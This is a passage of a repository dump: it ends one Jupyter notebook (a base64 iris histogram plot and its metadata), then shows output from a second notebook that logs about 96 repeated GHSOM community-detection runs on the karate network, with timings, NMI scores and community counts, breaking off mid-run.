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\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "iris_hist.projection(\"sepal_length\").plot();" ] } ], "metadata": { "kernel_info": { "name": "python3" }, "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.8.5" }, "nteract": { "version": "0.9.1" } }, "nbformat": 4, "nbformat_minor": 1 }

mit

DavidMcDonald1993/ghsom

.ipynb_checkpoints/real_world_tests_derived_setting-checkpoint.ipynb

1

128131

{ "cells": [ { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": false, "scrolled": true }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "creating new nmi scores array\n", "creating new running time array\n", "creating new communites detected array\n", "density of network=0.139037433155\n", "e_sg=0.642738543492\n", "starting ghsom for: embedded_karate.gml, repeat: 1\n", "running time of algorithm: 79.9059998989\n", "saved nmi score for network embedded_karate.gml: [ 0.5294656]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 2\n", "running time of algorithm: 52.4760000706\n", "saved nmi score for network embedded_karate.gml: [ 0.64121264]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 3\n", "running time of algorithm: 52.871999979\n", "saved nmi score for network embedded_karate.gml: [ 0.43852015]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 4\n", "running time of algorithm: 52.6759998798\n", "saved nmi score for network embedded_karate.gml: [ 0.43852015]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 5\n", "running time of algorithm: 80.5260000229\n", "saved nmi score for network embedded_karate.gml: [ 0.5294656]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 6\n", "running time of algorithm: 53.1180000305\n", "saved nmi score for network embedded_karate.gml: [ 0.44880013]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 7\n", "running time of algorithm: 80.2339999676\n", "saved nmi score for network embedded_karate.gml: [ 0.46959898]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 8\n", "running time of algorithm: 52.4200000763\n", "saved nmi score for network embedded_karate.gml: [ 0.43852015]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 9\n", "running time of algorithm: 52.7260000706\n", "saved nmi score for network embedded_karate.gml: [ 0.4767809]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 10\n", "running time of algorithm: 81.3209998608\n", "saved nmi score for network embedded_karate.gml: [ 0.5294656]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 11\n", "running time of algorithm: 52.4659998417\n", "saved nmi score for network embedded_karate.gml: [ 0.44880013]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 12\n", "running time of algorithm: 79.3540000916\n", "saved nmi score for network embedded_karate.gml: [ 0.5294656]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 13\n", "running time of algorithm: 52.2230000496\n", "saved nmi score for network embedded_karate.gml: [ 0.43852015]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 14\n", "running time of algorithm: 79.2849998474\n", "saved nmi score for network embedded_karate.gml: [ 0.5294656]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 15\n", "running time of algorithm: 78.7910001278\n", "saved nmi score for network embedded_karate.gml: [ 0.5294656]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 16\n", "running time of algorithm: 52.5479998589\n", "saved nmi score for network embedded_karate.gml: [ 0.52460052]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 17\n", "running time of algorithm: 52.5720000267\n", "saved nmi score for network embedded_karate.gml: [ 0.4767809]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 18\n", "running time of algorithm: 79.3300001621\n", "saved nmi score for network embedded_karate.gml: [ 0.58033157]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 19\n", "running time of algorithm: 60.4580001831\n", "saved nmi score for network embedded_karate.gml: [ 0.44880013]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 20\n", "running time of algorithm: 80.2710001469\n", "saved nmi score for network embedded_karate.gml: [ 0.5294656]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 21\n", "running time of algorithm: 53.1679999828\n", "saved nmi score for network embedded_karate.gml: [ 0.43852015]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 22\n", "running time of algorithm: 52.7720000744\n", "saved nmi score for network embedded_karate.gml: [ 0.52460052]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 23\n", "running time of algorithm: 53.1399998665\n", "saved nmi score for network embedded_karate.gml: [ 0.44880013]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 24\n", "running time of algorithm: 53.0390000343\n", "saved nmi score for network embedded_karate.gml: [ 0.59204037]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 25\n", "running time of algorithm: 52.9400000572\n", "saved nmi score for network embedded_karate.gml: [ 0.43852015]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 26\n", "running time of algorithm: 59.3170001507\n", "saved nmi score for network embedded_karate.gml: [ 0.44880013]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 27\n", "running time of algorithm: 52.4509999752\n", "saved nmi score for network embedded_karate.gml: [ 0.52003736]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 28\n", "running time of algorithm: 52.6529998779\n", "saved nmi score for network embedded_karate.gml: [ 0.52460052]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 29\n", "running time of algorithm: 52.0050001144\n", "saved nmi score for network embedded_karate.gml: [ 0.43852015]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 30\n", "running time of algorithm: 80.2800002098\n", "saved nmi score for network embedded_karate.gml: [ 0.5294656]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 31\n", "running time of algorithm: 52.5600001812\n", "saved nmi score for network embedded_karate.gml: [ 0.52003736]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 32\n", "running time of algorithm: 80.118999958\n", "saved nmi score for network embedded_karate.gml: [ 0.46959898]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 33\n", "running time of algorithm: 80.3970000744\n", "saved nmi score for network embedded_karate.gml: [ 0.5294656]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 34\n", "running time of algorithm: 53.0659999847\n", "saved nmi score for network embedded_karate.gml: [ 0.58842383]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 35\n", "running time of algorithm: 53.5320000648\n", "saved nmi score for network embedded_karate.gml: [ 0.62312666]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 36\n", "running time of algorithm: 80.0880000591\n", "saved nmi score for network embedded_karate.gml: [ 0.47834623]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 37\n", "running time of algorithm: 52.6979999542\n", "saved nmi score for network embedded_karate.gml: [ 0.43852015]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 38\n", "running time of algorithm: 80.7940001488\n", "saved nmi score for network embedded_karate.gml: [ 0.5294656]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 39\n", "running time of algorithm: 52.6169998646\n", "saved nmi score for network embedded_karate.gml: [ 0.44880013]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 40\n", "running time of algorithm: 52.989000082\n", "saved nmi score for network embedded_karate.gml: [ 0.43852015]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 41\n", "running time of algorithm: 52.7240002155\n", "saved nmi score for network embedded_karate.gml: [ 0.52141818]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 42\n", "running time of algorithm: 51.4850001335\n", "saved nmi score for network embedded_karate.gml: [ 0.43852015]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 43\n", "running time of algorithm: 80.3440001011\n", "saved nmi score for network embedded_karate.gml: [ 0.43324696]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 44\n", "running time of algorithm: 80.1699998379\n", "saved nmi score for network embedded_karate.gml: [ 0.5294656]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 45\n", "running time of algorithm: 52.6360001564\n", "saved nmi score for network embedded_karate.gml: [ 0.52141818]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 46\n", "running time of algorithm: 52.6050000191\n", "saved nmi score for network embedded_karate.gml: [ 0.43852015]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 47\n", "running time of algorithm: 52.9000000954\n", "saved nmi score for network embedded_karate.gml: [ 0.52141818]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 48\n", "running time of algorithm: 52.5040001869\n", "saved nmi score for network embedded_karate.gml: [ 0.44880013]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 49\n", "running time of algorithm: 79.8170001507\n", "saved nmi score for network embedded_karate.gml: [ 0.5294656]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 50\n", "running time of algorithm: 80.2259998322\n", "saved nmi score for network embedded_karate.gml: [ 0.43324696]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 51\n", "running time of algorithm: 52.6150000095\n", "saved nmi score for network embedded_karate.gml: [ 0.44880013]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 52\n", "running time of algorithm: 79.859000206\n", "saved nmi score for network embedded_karate.gml: [ 0.58033157]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 53\n", "running time of algorithm: 52.8619999886\n", "saved nmi score for network embedded_karate.gml: [ 0.52003736]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 54\n", "running time of algorithm: 52.5410001278\n", "saved nmi score for network embedded_karate.gml: [ 0.64121264]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 55\n", "running time of algorithm: 79.5339999199\n", "saved nmi score for network embedded_karate.gml: [ 0.5294656]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 56\n", "running time of algorithm: 52.3679997921\n", "saved nmi score for network embedded_karate.gml: [ 0.59204037]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 57\n", "running time of algorithm: 52.5620000362\n", "saved nmi score for network embedded_karate.gml: [ 0.52460052]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 58\n", "running time of algorithm: 52.0069999695\n", "saved nmi score for network embedded_karate.gml: [ 0.52460052]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 59\n", "running time of algorithm: 79.9880001545\n", "saved nmi score for network embedded_karate.gml: [ 0.58033157]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 60\n", "running time of algorithm: 51.8129999638\n", "saved nmi score for network embedded_karate.gml: [ 0.43852015]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 61\n", "running time of algorithm: 52.8980000019\n", "saved nmi score for network embedded_karate.gml: [ 0.52141818]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 62\n", "running time of algorithm: 52.4529998302\n", "saved nmi score for network embedded_karate.gml: [ 0.44880013]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 63\n", "running time of algorithm: 52.370000124\n", "saved nmi score for network embedded_karate.gml: [ 0.52460052]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 64\n", "running time of algorithm: 79.6870000362\n", "saved nmi score for network embedded_karate.gml: [ 0.46959898]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 65\n", "running time of algorithm: 51.5230000019\n", "saved nmi score for network embedded_karate.gml: [ 0.52460052]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 66\n", "running time of algorithm: 52.5269999504\n", "saved nmi score for network embedded_karate.gml: [ 0.43852015]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 67\n", "running time of algorithm: 51.4779999256\n", "saved nmi score for network embedded_karate.gml: [ 0.43852015]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 68\n", "running time of algorithm: 52.5529999733\n", "saved nmi score for network embedded_karate.gml: [ 0.62312666]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 69\n", "running time of algorithm: 51.614000082\n", "saved nmi score for network embedded_karate.gml: [ 0.43310466]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 70\n", "running time of algorithm: 51.5360000134\n", "saved nmi score for network embedded_karate.gml: [ 0.52460052]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 71\n", "running time of algorithm: 52.6600000858\n", "saved nmi score for network embedded_karate.gml: [ 0.58842383]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 72\n", "running time of algorithm: 79.7269999981\n", "saved nmi score for network embedded_karate.gml: [ 0.43324696]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 73\n", "running time of algorithm: 52.0510001183\n", "saved nmi score for network embedded_karate.gml: [ 0.44880013]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 74\n", "running time of algorithm: 51.5739998817\n", "saved nmi score for network embedded_karate.gml: [ 0.52141818]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 75\n", "running time of algorithm: 52.4309999943\n", "saved nmi score for network embedded_karate.gml: [ 0.43852015]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 76\n", "running time of algorithm: 52.4220001698\n", "saved nmi score for network embedded_karate.gml: [ 0.62312666]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 77\n", "running time of algorithm: 51.9129998684\n", "saved nmi score for network embedded_karate.gml: [ 0.44880013]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 78\n", "running time of algorithm: 51.4619998932\n", "saved nmi score for network embedded_karate.gml: [ 0.43852015]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 79\n", "running time of algorithm: 78.9240000248\n", "saved nmi score for network embedded_karate.gml: [ 0.5294656]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 80\n", "running time of algorithm: 78.5909998417\n", "saved nmi score for network embedded_karate.gml: [ 0.43324696]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 81\n", "running time of algorithm: 58.9930000305\n", "saved nmi score for network embedded_karate.gml: [ 0.44880013]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 82\n", "running time of algorithm: 79.0970001221\n", "saved nmi score for network embedded_karate.gml: [ 0.5294656]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 83\n", "running time of algorithm: 79.8159999847\n", "saved nmi score for network embedded_karate.gml: [ 0.43324696]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 84\n", "running time of algorithm: 79.8159999847\n", "saved nmi score for network embedded_karate.gml: [ 0.43324696]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 85\n", "running time of algorithm: 79.5569999218\n", "saved nmi score for network embedded_karate.gml: [ 0.43324696]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 86\n", "running time of algorithm: 78.4639999866\n", "saved nmi score for network embedded_karate.gml: [ 0.5294656]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 87\n", "running time of algorithm: 79.9749999046\n", "saved nmi score for network embedded_karate.gml: [ 0.5294656]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 88\n", "running time of algorithm: 52.5239999294\n", "saved nmi score for network embedded_karate.gml: [ 0.43852015]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 89\n", "running time of algorithm: 78.5939998627\n", "saved nmi score for network embedded_karate.gml: [ 0.5294656]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 90\n", "running time of algorithm: 52.1019999981\n", "saved nmi score for network embedded_karate.gml: [ 0.43852015]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 91\n", "running time of algorithm: 79.9899997711\n", "saved nmi score for network embedded_karate.gml: [ 0.5294656]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 92\n", "running time of algorithm: 51.9699997902\n", "saved nmi score for network embedded_karate.gml: [ 0.43852015]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 93\n", "running time of algorithm: 51.7999999523\n", "saved nmi score for network embedded_karate.gml: [ 0.44880013]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 94\n", "running time of algorithm: 51.8919999599\n", "saved nmi score for network embedded_karate.gml: [ 0.64121264]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 95\n", "running time of algorithm: 79.1979999542\n", "saved nmi score for network embedded_karate.gml: [ 0.52218299]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 96\n", "running time of algorithm: 79.6919999123\n", "saved nmi score for network embedded_karate.gml: 